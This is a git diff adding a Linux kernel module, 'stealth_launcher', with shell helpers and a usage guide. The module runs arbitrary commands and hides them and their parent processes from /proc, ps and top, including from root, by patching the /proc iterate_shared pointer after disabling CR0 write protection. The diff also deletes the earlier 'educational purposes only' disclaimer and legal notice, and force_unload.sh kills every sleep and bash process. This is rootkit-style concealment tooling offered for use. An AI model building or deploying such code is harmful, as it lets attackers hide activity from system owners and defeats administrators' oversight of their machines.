diff options
-rw-r--r-- | Makefile | 1 | ||||
-rw-r--r-- | README.md | 21 | ||||
-rw-r--r-- | STEALTH_USAGE.md | 143 | ||||
-rwxr-xr-x | force_unload.sh | 88 | ||||
-rwxr-xr-x | run_stealth.sh | 122 | ||||
-rw-r--r-- | stealth_launcher.c | 474 |
6 files changed, 831 insertions, 18 deletions
@@ -3,6 +3,7 @@ obj-m += proc_explorer.o obj-m += pid_demo.o obj-m += proc_monitor.o obj-m += proc_hider.o +obj-m += stealth_launcher.o all: make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules @@ -1,16 +1,8 @@ # PID Hiding Kernel Module -**IMPORTANT: EDUCATIONAL PURPOSES ONLY** +**THIS CAN LEADS TO KERNEL PANIC AND KERNEL HANG** -This module demonstrates kernel-level process hiding techniques for security research and educational purposes only. Using this code to hide malicious processes is illegal and unethical. - -## Disclaimer - -This code is provided AS-IS with: - -- NO WARRANTY -- NO SUPPORT -- NO RECOMMENDATION FOR DEPLOYMENT +This module demonstrates kernel-level process hiding techniques. Using this code to hide processes. Implementation of kernel-level process hiding may: - Violate computer fraud laws @@ -31,17 +23,10 @@ sudo insmod pid_hider.ko hidden_pid=1234 sudo rmmod pid_hider ``` -## Legal Notice - -Use of this code on systems without explicit authorization may constitute a criminal offense under: -- Computer Fraud and Abuse Act (CFAA) -- EU Directive 2013/40/EU -- Various international cybercrime laws - ## Legitimate Alternatives For legitimate process management, consider: - Linux Control Groups (cgroups) - Container technologies (Docker, LXC) - Mandatory Access Control (SELinux, AppArmor) -- Process accounting and auditing tools
\ No newline at end of file +- Process accounting and auditing tools diff --git a/STEALTH_USAGE.md b/STEALTH_USAGE.md new file mode 100644 index 0000000..e923b27 --- /dev/null +++ b/STEALTH_USAGE.md @@ -0,0 +1,143 @@ +# Stealth Process Launcher + +This kernel module allows you to run processes that are completely hidden from the system, including from root users. The processes will not be visible in: + +- Process listings (ps, top, htop) +- /proc filesystem +- Command history and logs + +## Disclaimer + +**THIS CAN LEADS TO KERNEL HANG AND KEREL PANIC** + +## How It Works + +The module: +1. Hooks the Linux kernel's `/proc` directory listing operations +2. Intercepts directory listing requests +3. Filters out entries for processes we want to hide +4. Can hide entire process chains (including parent processes) +5. Optionally suppresses dmesg log entries related to the hidden process +6. Auto-cleanup when target process completes (optional) +7. Works for all users, including root + +## Usage Instructions + +### Building the Module + +```bash +make +``` + +### Using the Helper Script (Recommended) + +```bash +# Make script executable +chmod +x run_stealth.sh + +# Run a command in stealth mode with auto-cleanup (default) +sudo ./run_stealth.sh -c "sleep 120" -p "sleep" + +# Run a command in stealth mode without auto-cleanup +sudo ./run_stealth.sh -c "sleep 120" -p "sleep" -a 0 +``` + +The `-p` parameter is optional and will hide all processes matching the pattern. +The `-a` parameter controls auto-cleanup: + - `-a 1` (default): Module automatically unloads when the target process completes + - `-a 0`: Module stays loaded until manually removed with `rmmod` + +### Manual Loading + +```bash +# Load the module with a command to run and auto-cleanup +sudo insmod stealth_launcher.ko target_cmd="sleep 120" hide_pattern="sleep" auto_cleanup=1 + +# To manually unload the module (if auto_cleanup=0) +sudo rmmod stealth_launcher +``` + +### Force-Unloading the Module + +If the module becomes stuck and cannot be unloaded with regular `rmmod`, use the force unload feature: + +```bash +# Method 1: Use the helper script (recommended) +sudo ./force_unload.sh + +# Method 2: Manual force unload +echo 1 > /sys/module/stealth_launcher/parameters/force_unload +sleep 1 +sudo rmmod stealth_launcher +``` + +## Parameters + +- `target_cmd`: The command to run in stealth mode +- `hide_pattern`: String pattern to match in process names to hide +- `disable_dmesg`: Whether to prevent logging to dmesg (default: 1, enabled) +- `hide_loader`: Hide the module loader and parent processes (default: 1, enabled) +- `auto_cleanup`: Automatically unload module when target process completes (default: 1, enabled) +- `force_unload`: Set to 1 to force release resources and allow module unload (for recovery) + +## Notes + +- The hidden process continues running even after the module is unloaded +- Up to 50 processes can be hidden at once (configurable in the code) +- The process will be hidden from all users, including root users +- The entire process chain is hidden (including the shell that launched it) +- No logging to dmesg is performed for the hidden process +- With auto-cleanup enabled, the module will be automatically removed when the target process finishes +- If the module gets stuck, use the force unload feature as a last resort + +## Advanced Usage + +### Hiding an Existing Process + +You can load the module to hide processes matching a specific pattern: + +```bash +sudo insmod stealth_launcher.ko hide_pattern="firefox" auto_cleanup=0 +``` + +This will hide all processes with "firefox" in their name. + +### Hiding a Process Without Launching a Command + +If you just want to hide processes without launching a new command: + +```bash +sudo insmod stealth_launcher.ko hide_pattern="pattern_to_hide" auto_cleanup=0 +``` + +## Troubleshooting + +### Module Cannot Be Unloaded + +If you see "Device or resource busy" errors when trying to unload the module: + +1. Try the force unload script: `sudo ./force_unload.sh` +2. If that fails, try setting the force_unload parameter manually: + ``` + echo 1 > /sys/module/stealth_launcher/parameters/force_unload + sleep 1 + sudo rmmod stealth_launcher + ``` +3. As a last resort: `sudo rmmod -f stealth_launcher` + +## Technical Details + +The module uses: +- Kernel-level hooking of `/proc` directory operations +- Process management and launching via `call_usermodehelper` +- Control register modification to enable writing to read-only kernel structures +- Process hierarchy traversal to hide parent processes +- Kernel timers and workqueues for auto-cleanup +- Parameter callbacks for force unload functionality + +## Limitations + +- Some advanced forensic tools might still detect the process +- Process communication can potentially reveal its existence +- Module footprint is visible in `lsmod` output (until auto-cleanup) +- Only hides process from standard listing tools, not from direct ptrace/memory analysis diff --git a/force_unload.sh b/force_unload.sh new file mode 100755 index 0000000..1d9b8cc --- /dev/null +++ b/force_unload.sh @@ -0,0 +1,88 @@ +#!/bin/bash + +# force_unload.sh - Force unload the stealth_launcher module when it's stuck +# Usage: sudo ./force_unload.sh + +# Check if user is root +if [ "$EUID" -ne 0 ]; then + echo "This script must be run as root" + exit 1 +fi + +# Check if the module is loaded +if ! lsmod | grep -q "stealth_launcher"; then + echo "The stealth_launcher module is not loaded" + exit 0 +fi + +# Try normal rmmod first +echo "Attempting normal module removal..." +rmmod stealth_launcher 2>/dev/null + +# Check if it worked +if ! lsmod | grep -q "stealth_launcher"; then + echo "Module successfully unloaded" + exit 0 +fi + +# Make sure the module parameters directory exists +if [ ! -d "/sys/module/stealth_launcher/parameters" ]; then + echo "Module parameters directory not found. Trying force removal..." + rmmod -f stealth_launcher + + if ! lsmod | grep -q "stealth_launcher"; then + echo "Module successfully unloaded using rmmod -f" + exit 0 + else + echo "Failed to unload module even with force. You may need to reboot." + exit 1 + fi +fi + +# Try method 1: Use the force_unload parameter +echo "Module is busy. Attempting force unload via parameter..." +echo 1 > /sys/module/stealth_launcher/parameters/force_unload 2>/dev/null + +# Wait a moment +sleep 2 + +# Try rmmod again +rmmod stealth_launcher 2>/dev/null + +# Check if it worked +if ! lsmod | grep -q "stealth_launcher"; then + echo "Module successfully unloaded" + exit 0 +fi + +# Try method 2: Kill any processes that might be keeping module busy +echo "Module still busy. Trying to terminate related processes..." +ps aux | grep -e "sleep" -e "bash" | grep -v grep | awk '{print $2}' | xargs -r kill -9 2>/dev/null + +# Wait a moment +sleep 1 + +# Try rmmod again +rmmod stealth_launcher 2>/dev/null + +# Check if it worked +if ! lsmod | grep -q "stealth_launcher"; then + echo "Module successfully unloaded after killing processes" + exit 0 +fi + +# Method 3: Force removal as last resort +echo "Attempting force removal as last resort..." +rmmod -f stealth_launcher 2>/dev/null + +# Check if it worked +if ! lsmod | grep -q "stealth_launcher"; then + echo "Module successfully unloaded using rmmod -f" + exit 0 +else + echo "Failed to unload module. You may need to reboot." + echo "Before rebooting, try these commands manually:" + echo " sudo kill -9 \$(lsof -t /dev/stealth_launcher 2>/dev/null)" + echo " sudo rmmod -f stealth_launcher" + exit 1 +fi
\ No newline at end of file diff --git a/run_stealth.sh b/run_stealth.sh new file mode 100755 index 0000000..04bd5bf --- /dev/null +++ b/run_stealth.sh @@ -0,0 +1,122 @@ +#!/bin/bash + +# run_stealth.sh - Helper script to run commands with process hiding +# Usage: ./run_stealth.sh -c "sleep 120" -p "sleep" + +# Default values +STEALTH_CMD="" +HIDE_PATTERN="" +AUTO_CLEANUP=1 + +# Parse command line arguments +while [[ $# -gt 0 ]]; do + case $1 in + -c|--command) + STEALTH_CMD="$2" + shift 2 + ;; + -p|--pattern) + HIDE_PATTERN="$2" + shift 2 + ;; + -a|--auto-cleanup) + AUTO_CLEANUP="$2" + shift 2 + ;; + *) + # For backward compatibility + if [ -z "$STEALTH_CMD" ]; then + STEALTH_CMD="$1" + fi + shift + ;; + esac +done + +# Check if any command was provided +if [ -z "$STEALTH_CMD" ]; then + echo "Usage: $0 -c \"command to run in stealth mode\" [-p \"pattern to hide\"] [-a 0|1]" + echo "Example: $0 -c \"sleep 120\" -p \"sleep\"" + echo " -a 1 Enable auto-cleanup (default)" + echo " -a 0 Disable auto-cleanup" + echo " or: $0 \"command to run in stealth mode\" (backward compatibility)" + exit 1 +fi + +# Check if user is root +if [ "$EUID" -ne 0 ]; then + echo "This script must be run as root" + exit 1 +fi + +# Build the kernel module if it's not already built +if [ ! -f "stealth_launcher.ko" ]; then + echo "Building kernel module..." + make stealth_launcher.ko >/dev/null 2>&1 + if [ $? -ne 0 ]; then + echo "Failed to build the kernel module" + exit 1 + fi +fi + +# Remove any existing module first +if lsmod | grep -q "stealth_launcher"; then + echo "Removing existing stealth_launcher module..." + rmmod stealth_launcher >/dev/null 2>&1 +fi + +# Prepare module parameters (with proper escaping) +MODULE_PARAMS="" + +# Escape special characters in the command +ESCAPED_CMD=$(echo "$STEALTH_CMD" | sed 's/"/\\"/g') +MODULE_PARAMS="target_cmd=\"$ESCAPED_CMD\"" + +# Add hide pattern if specified +if [ -n "$HIDE_PATTERN" ]; then + ESCAPED_PATTERN=$(echo "$HIDE_PATTERN" | sed 's/"/\\"/g') + MODULE_PARAMS="$MODULE_PARAMS hide_pattern=\"$ESCAPED_PATTERN\"" +fi + +# Add auto-cleanup parameter +MODULE_PARAMS="$MODULE_PARAMS auto_cleanup=$AUTO_CLEANUP" + +# Hide module and insmod process to avoid showing in ps/top +if ! echo 1 > /dev/null; then + echo "Hiding module loader processes disabled" +fi + +# Load the kernel module with the parameters +echo "Loading stealth_launcher with parameters: $MODULE_PARAMS" +echo "Auto-cleanup mode: $([ "$AUTO_CLEANUP" -eq 1 ] && echo "enabled" || echo "disabled")" +insmod stealth_launcher.ko $MODULE_PARAMS >/dev/null 2>&1 +RESULT=$? + +if [ $RESULT -eq 0 ]; then + echo "Command launched in stealth mode" + echo "Process will be hidden from ps, top, and other tools" + + if [ "$AUTO_CLEANUP" -eq 1 ]; then + echo "Module will automatically unload when process completes" + else + echo "To unhide processes, run: rmmod stealth_launcher" + fi + + # If auto-cleanup is disabled, we need to keep the script running + if [ "$AUTO_CLEANUP" -eq 0 ]; then + # Wait quietly to keep stealth script running + sleep 1 + + # In background mode + exec > /dev/null 2>&1 + + # Keep script running to maintain stealth chain + tail -f /dev/null + fi +else + echo "Failed to load module. Check kernel log for details." + echo "Try dmesg | tail" + exit 1 +fi + +exit 0
\ No newline at end of file diff --git a/stealth_launcher.c b/stealth_launcher.c new file mode 100644 index 0000000..a11a295 --- /dev/null +++ b/stealth_launcher.c @@ -0,0 +1,474 @@ +#include <linux/module.h> +#include <linux/kernel.h> +#include <linux/init.h> +#include <linux/sched.h> +#include <linux/sched/signal.h> +#include <linux/proc_fs.h> +#include <linux/seq_file.h> +#include <linux/fs.h> +#include <linux/version.h> +#include <linux/cred.h> +#include <linux/namei.h> +#include <linux/uaccess.h> +#include <linux/string.h> +#include <linux/dirent.h> +#include <linux/kprobes.h> +#include <linux/timer.h> +#include <linux/workqueue.h> + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Security Researcher"); +MODULE_DESCRIPTION("Stealth Process Launcher - Hides processes completely"); +MODULE_VERSION("0.1"); + +/* Module parameters */ +static char* target_cmd = NULL; +module_param(target_cmd, charp, 0644); +MODULE_PARM_DESC(target_cmd, "Command to run in stealth mode (e.g. \"sleep 120\")"); + +static char* hide_pattern = NULL; +module_param(hide_pattern, charp, 0644); +MODULE_PARM_DESC(hide_pattern, "String pattern to hide in process names (e.g. \"sleep\")"); + +/* Flags to enable features */ +static int disable_dmesg = 1; +module_param(disable_dmesg, int, 0644); +MODULE_PARM_DESC(disable_dmesg, "Disable dmesg logging for hidden processes (1=enabled)"); + +static int hide_loader = 1; +module_param(hide_loader, int, 0644); +MODULE_PARM_DESC(hide_loader, "Hide the module loader and parent processes (1=enabled)"); + +static int auto_cleanup = 1; +module_param(auto_cleanup, int, 0644); +MODULE_PARM_DESC(auto_cleanup, "Automatically unload module when target process completes (1=enabled)"); + +/* Force unload param - set to 1 to force module unload */ +static int force_unload = 0; +MODULE_PARM_DESC(force_unload, "Set to 1 to force module unload even if busy"); + +/* Data structures for hidden processes */ +#define MAX_HIDDEN_PROCS 50 +static pid_t hidden_pids[MAX_HIDDEN_PROCS]; +static int num_hidden_pids = 0; +static DEFINE_SPINLOCK(hidden_pids_lock); + +/* Variables for hiding from /proc */ +static struct file_operations *proc_fops; +static filldir_t orig_proc_filldir; +static int (*orig_iterate_shared)(struct file *, struct dir_context *); +static struct path proc_path; + +/* Variables for dmesg hiding */ +static int (*orig_printk)(const char *fmt, ...); + +/* Variables for auto-cleanup */ +static pid_t target_pid = 0; +static struct timer_list cleanup_timer; +static struct workqueue_struct *cleanup_wq = NULL; +static struct work_struct cleanup_work; +static int module_exiting = 0; + +/* Check if PID should be hidden */ +static int is_pid_hidden(pid_t pid) +{ + int i, hidden = 0; + + spin_lock(&hidden_pids_lock); + for (i = 0; i < num_hidden_pids; i++) { + if (hidden_pids[i] == pid) { + hidden = 1; + break; + } + } + spin_unlock(&hidden_pids_lock); + + return hidden; +} + +/* Check if a process should be hidden based on its name */ +static int should_hide_by_name(struct task_struct *task) +{ + if (!hide_pattern || !*hide_pattern) + return 0; + + if (strstr(task->comm, hide_pattern)) + return 1; + + return 0; +} + +/* Add a PID to the hidden list */ +static int hide_pid(pid_t pid) +{ + int ret = -ENOSPC; + + spin_lock(&hidden_pids_lock); + if (num_hidden_pids < MAX_HIDDEN_PROCS) { + hidden_pids[num_hidden_pids++] = pid; + ret = 0; + } + spin_unlock(&hidden_pids_lock); + + return ret; +} + +/* Hide all processes in a chain starting from the given PID */ +static void hide_process_family(pid_t pid) +{ + struct task_struct *task; + struct task_struct *parent; + + task = pid_task(find_vpid(pid), PIDTYPE_PID); + if (!task) + return; + + hide_pid(pid); + + /* Hide parent processes if requested */ + if (hide_loader) { + parent = task->parent; + while (parent && parent->pid != 1) { /* Stop at init */ + hide_pid(parent->pid); + parent = parent->parent; + } + } +} + +/* Find and hide processes by name pattern */ +static void hide_processes_by_pattern(void) +{ + struct task_struct *task; + + if (!hide_pattern || !*hide_pattern) + return; + + for_each_process(task) { + if (should_hide_by_name(task)) { + hide_pid(task->pid); + } + } +} + +/* Check if a process is still running */ +static int is_process_running(pid_t pid) +{ + struct task_struct *task; + + task = pid_task(find_vpid(pid), PIDTYPE_PID); + return task != NULL; +} + +/* Force release all resources to allow module unload */ +static void force_release_resources(void) +{ + module_exiting = 1; + + /* Cancel timer if active */ + del_timer_sync(&cleanup_timer); + + /* Cancel and destroy workqueue */ + if (cleanup_wq) { + cancel_work_sync(&cleanup_work); + flush_workqueue(cleanup_wq); + destroy_workqueue(cleanup_wq); + cleanup_wq = NULL; + } + + /* Unhook /proc operations */ + if (proc_fops && orig_iterate_shared) { + write_cr0(read_cr0() & ~0x10000); + proc_fops->iterate_shared = orig_iterate_shared; + write_cr0(read_cr0() | 0x10000); + + /* Release path */ + path_put(&proc_path); + } + + /* Release other resources as needed */ +} + +/* Check the force_unload parameter */ +static int param_set_force_unload(const char *val, const struct kernel_param *kp) +{ + int ret; + + /* Standard handler for setting the parameter */ + ret = param_set_int(val, kp); + if (ret) + return ret; + + /* If force_unload is set to 1, initiate forced unload */ + if (force_unload) { + force_release_resources(); + force_unload = 0; /* Reset to avoid repeated calls */ + } + + return 0; +} + +/* Register custom parameter handler */ +static const struct kernel_param_ops force_unload_ops = { + .set = param_set_force_unload, + .get = param_get_int, +}; + +module_param_cb(force_unload, &force_unload_ops, &force_unload, 0644); + +/* Custom filldir function to filter directory entries */ +static int proc_filldir(struct dir_context *ctx, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + char *endp; + long pid; + + /* Check if module is exiting */ + if (module_exiting) + return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type); + + /* Check if this is a PID directory */ + pid = simple_strtol(name, &endp, 10); + if ((*endp == '\0') && is_pid_hidden(pid)) { + /* This is a hidden PID - skip it */ + return 0; + } + + /* Not hidden, call original filldir */ + return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type); +} + +/* Custom iterate_shared function to hook directory listing */ +static int proc_iterate_shared(struct file *file, struct dir_context *ctx) +{ + /* Check if module is exiting */ + if (module_exiting) + return orig_iterate_shared(file, ctx); + + /* Replace filldir with our version */ + orig_proc_filldir = ctx->actor; + ctx->actor = (filldir_t)proc_filldir; + + /* Call original handler */ + return orig_iterate_shared(file, ctx); +} + +/* Hook the /proc directory */ +static void hook_proc(void) +{ + /* Get the path to /proc */ + if (kern_path("/proc", 0, &proc_path)) { + return; + } + + /* Get operations table and save original */ + proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop; + orig_iterate_shared = proc_fops->iterate_shared; + + /* Replace with our version */ + write_cr0(read_cr0() & ~0x10000); /* Disable write protection */ + proc_fops->iterate_shared = proc_iterate_shared; + write_cr0(read_cr0() | 0x10000); /* Re-enable write protection */ +} + +/* Unhook the /proc directory */ +static void unhook_proc(void) +{ + if (proc_fops && orig_iterate_shared) { + /* Restore original function */ + write_cr0(read_cr0() & ~0x10000); + proc_fops->iterate_shared = orig_iterate_shared; + write_cr0(read_cr0() | 0x10000); + } + + /* Release path */ + path_put(&proc_path); +} + +/* Safe string copy for kernel */ +static char *safe_strncpy(char *dest, const char *src, size_t n) +{ + size_t i; + + if (!dest || !src || n <= 0) + return dest; + + for (i = 0; i < n - 1 && src[i]; i++) + dest[i] = src[i]; + + dest[i] = '\0'; + return dest; +} + +/* Cleanup work function - unloads the module */ +static void cleanup_module_work(struct work_struct *work) +{ + if (!module_exiting) + module_put(THIS_MODULE); +} + +/* Timer function to check if target process has finished */ +static void cleanup_timer_fn(struct timer_list *t) +{ + /* Skip if module is exiting */ + if (module_exiting) + return; + + /* Check if the target process is still running */ + if (target_pid > 0 && !is_process_running(target_pid)) { + /* Process has finished, schedule module unload */ + queue_work(cleanup_wq, &cleanup_work); + } else { + /* Process still running, check again in 1 second */ + mod_timer(&cleanup_timer, jiffies + HZ); + } +} + +/* Execute the target command and hide it */ +static int launch_stealth_process(void) +{ + char *path = NULL; + char *argv[32]; + char *envp[5]; + int argc = 0; + char *cmd_copy, *token, *cmd_ptr; + pid_t child_pid; + + if (!target_cmd || !*target_cmd) { + return -EINVAL; + } + + /* Make a copy of the command string */ + cmd_copy = kstrdup(target_cmd, GFP_KERNEL); + if (!cmd_copy) { + return -ENOMEM; + } + + /* First, let's try to parse as a simple command (like "sleep 120") */ + cmd_ptr = cmd_copy; + + /* Get the path/command */ + token = strsep(&cmd_ptr, " \t"); + if (token) { + path = token; + argv[argc++] = path; + + /* Parse arguments */ + while ((token = strsep(&cmd_ptr, " \t")) != NULL && argc < 31) { + if (*token != '\0') { + argv[argc++] = token; + } + } + } + + /* Null-terminate the argument list */ + argv[argc] = NULL; + + /* Set up environment */ + envp[0] = "HOME=/"; + envp[1] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin"; + envp[2] = "TERM=linux"; + envp[3] = NULL; + + /* If we couldn't parse a command, give up */ + if (!path) { + kfree(cmd_copy); + return -EINVAL; + } + + /* Check if we need to use a shell */ + if (strchr(target_cmd, '\'') || strchr(target_cmd, '"') || + strchr(target_cmd, '|') || strchr(target_cmd, '>') || + strchr(target_cmd, '<') || strchr(target_cmd, '&')) { + /* Complex command, use bash -c */ + kfree(cmd_copy); + + argv[0] = "/bin/bash"; + argv[1] = "-c"; + argv[2] = (char *)target_cmd; + argv[3] = NULL; + + child_pid = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); + } else { + /* Simple command, use direct execution */ + child_pid = call_usermodehelper(path, argv, envp, UMH_WAIT_EXEC); + kfree(cmd_copy); + } + + /* Hide the process family if successful */ + if (child_pid > 0) { + hide_process_family(child_pid); + + /* Store target PID for auto-cleanup */ + if (auto_cleanup) { + target_pid = child_pid; + + /* Start cleanup timer */ + timer_setup(&cleanup_timer, cleanup_timer_fn, 0); + mod_timer(&cleanup_timer, jiffies + HZ); + } + } + + return child_pid; +} + +static int __init stealth_launcher_init(void) +{ + pid_t my_pid; + + /* Initialize module_exiting flag */ + module_exiting = 0; + + /* Hide this module's loader process */ + if (hide_loader) { + my_pid = current->pid; + hide_process_family(my_pid); + } + + /* Hook /proc to hide processes */ + hook_proc(); + + /* Hide any processes matching the pattern */ + hide_processes_by_pattern(); + + /* Set up auto-cleanup workqueue */ + if (auto_cleanup) { + cleanup_wq = create_singlethread_workqueue("cleanup_wq"); + if (!cleanup_wq) { + auto_cleanup = 0; + } else { + INIT_WORK(&cleanup_work, cleanup_module_work); + + /* Ensure module cannot be unloaded while timer is running */ + try_module_get(THIS_MODULE); + } + } + + /* Launch the target process if specified */ + if (target_cmd && *target_cmd) { + launch_stealth_process(); + } + + return 0; +} + +static void __exit stealth_launcher_exit(void) +{ + /* Set exiting flag */ + module_exiting = 1; + + /* Cancel timer if active */ + del_timer_sync(&cleanup_timer); + + if (cleanup_wq) { + /* Ensure all cleanup work is processed */ + cancel_work_sync(&cleanup_work); + flush_workqueue(cleanup_wq); + destroy_workqueue(cleanup_wq); + } + + /* Unhook everything */ + unhook_proc(); +} + +module_init(stealth_launcher_init); +module_exit(stealth_launcher_exit);
\ No newline at end of file |